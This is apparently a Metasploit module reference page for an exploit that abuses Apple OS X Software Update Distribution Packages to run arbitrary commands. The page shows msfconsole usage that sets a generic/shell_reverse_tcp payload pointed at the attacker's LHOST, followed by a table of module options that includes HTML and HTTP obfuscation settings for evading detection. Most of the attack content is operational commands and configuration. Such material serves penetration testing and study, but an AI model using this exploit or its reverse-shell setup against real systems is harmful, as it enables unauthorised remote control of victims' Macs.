Apple OS X Software Update Command Execution

This module exploits a feature in the Distribution Packages, which are used in the Apple Software Update mechanism. This feature allows for arbitrary command execution through JavaScript. This exploit provides the malicious update server. Requests must be redirected to this server by other means for this exploit to work.

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Exploit Rank

Excellent

Exploit Authors

Moritz Jodeit < moritz [at] jodeit.org >

Vulnerability References

Exploit Targets

0 - Automatic (default)

Exploit Development

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Exploit Usage Information

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msf > use exploit/osx/browser/software_update
msf exploit(software_update) > show payloads
msf exploit(software_update) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(software_update) > set LHOST [MY IP ADDRESS]
msf exploit(software_update) > exploit

Exploit Module Options

SRVHOST	The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT	The local port to listen on. (default: 80)
SSL	Negotiate SSL for incoming connections
SSLCert	Path to a custom SSL certificate (default is randomly generated)
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
URIPATH	The URI to use for this exploit. (default: /)
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
ListenerComm	The specific communication channel to use for this service
VERBOSE	Enable detailed status messages
WORKSPACE	Specify the workspace for this module
HTML::base64	Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape	Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode	Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked	Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression	Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding	Enable folding of HTTP headers
HTTP::junk_headers	Enable insertion of random junk HTTP headers
HTTP::server_name	Configures the Server header of all outgoing replies
TCP::max_send_size	Maximum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)